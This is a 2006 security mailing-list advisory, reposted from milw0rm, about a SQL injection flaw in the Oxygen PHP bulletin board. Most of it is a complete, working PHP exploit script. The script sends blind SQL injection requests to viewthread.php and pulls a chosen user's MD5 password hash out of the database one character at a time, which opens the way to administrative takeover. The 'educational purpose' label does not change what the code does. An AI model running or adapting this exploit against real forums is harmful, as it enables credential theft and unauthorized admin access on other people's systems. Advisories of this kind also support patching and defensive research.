[EXPL] Oxygen SQL Injection (Exploit, O2PHP)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Oxygen SQL Injection (Exploit, O2PHP)
------------------------------------------------------------------------


SUMMARY

<http://www.o2php.com/> Oxygen is "a PHP based bulletin board system". An
SQL injection vulnerability in the Oxygen product allows remote attackers
to include arbitrary SQL and utilize it to gain administrative access to
the system.

DETAILS

Vulnerable Systems:
* Oxygen version 1.1.3 and prior

Exploit:
#!/usr/bin/php
<?

if($argc<4){
print("
-------------------------------------------------------
Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
Poc.ID........: 14061118
Type..........: SQL Injection
Risk.level....: Medium
Conditions....: register_globals = on
Src.download..: download.o2php.com
Poc.link......: acid-root.new.fr/poc/14061118.txt
Credits.......: DarkFig
Note..........: FOR EDUCATIONAL PURPOSE ONLY
-------------------------------------------------------
Usage.........: php 14061118.txt <host> <path> <userid>
-------------------------------------------------------\n");
exit(1);
}

print "\n Please be patient (max=736 hits)...\n MD5: ";
$host = !preg_match("/^http:\/\/(\S*)/",$argv[1],$hwttp) ? $argv[1] :
$hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1; $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv = '';
$sqli =
"%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AND%20substr(password,".$x.",1)=char(".$y.")%23";
$data = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1
\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";

if(!$sock = @fsockopen($host, 80)) die("Connection problem\n");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
print strtolower(chr($y));
break;
} elseif($y == 71) {
print "Not vulnerable\n";
exit(1);

}}}

print "\n";
exit(0);

?>

# milw0rm.com [2006-11-18]


ADDITIONAL INFORMATION

The information has been provided by DarkFig.
The original article can be found at:
<http://www.milw0rm.com/exploits/2810>
http://www.milw0rm.com/exploits/2810



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Protector System Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several classes of vulnerabilities have been found in Protector. ... cross-site scripting and SQL injection attacks. ...
    (Securiteam)
  • [UNIX] PhotoPost PHP Pro Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PhotoPost PHP Pro suffers from multiple SQL injection, ... There are plenty of SQL injection vulnerabilities in PhotoPost PHP Pro. ...
    (Securiteam)
  • [REVS] Advanced Topics on SQL Injection Protection
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL injection is now one of the most common attacks in the Internet. ... Static query statement - Development Phrase ... Some programmers may think escaping apostrophe with two apostrophes (and ...
    (Securiteam)
  • [TOOL] BSQL Hacker - Advanced SQL Injection Framework / Tool
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BSQL Hacker - Advanced SQL Injection Framework / Tool ... Attack Templates: ... Blind SQL Injection ...
    (Securiteam)
  • [UNIX] PHPNuke Multiple Vulnerabilities in Search Module
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cross-site scripting and SQL injections located throughout the ... The vulnerability exists in the ... The first SQL injection vulnerability is a non-critical one in the ...
    (Securiteam)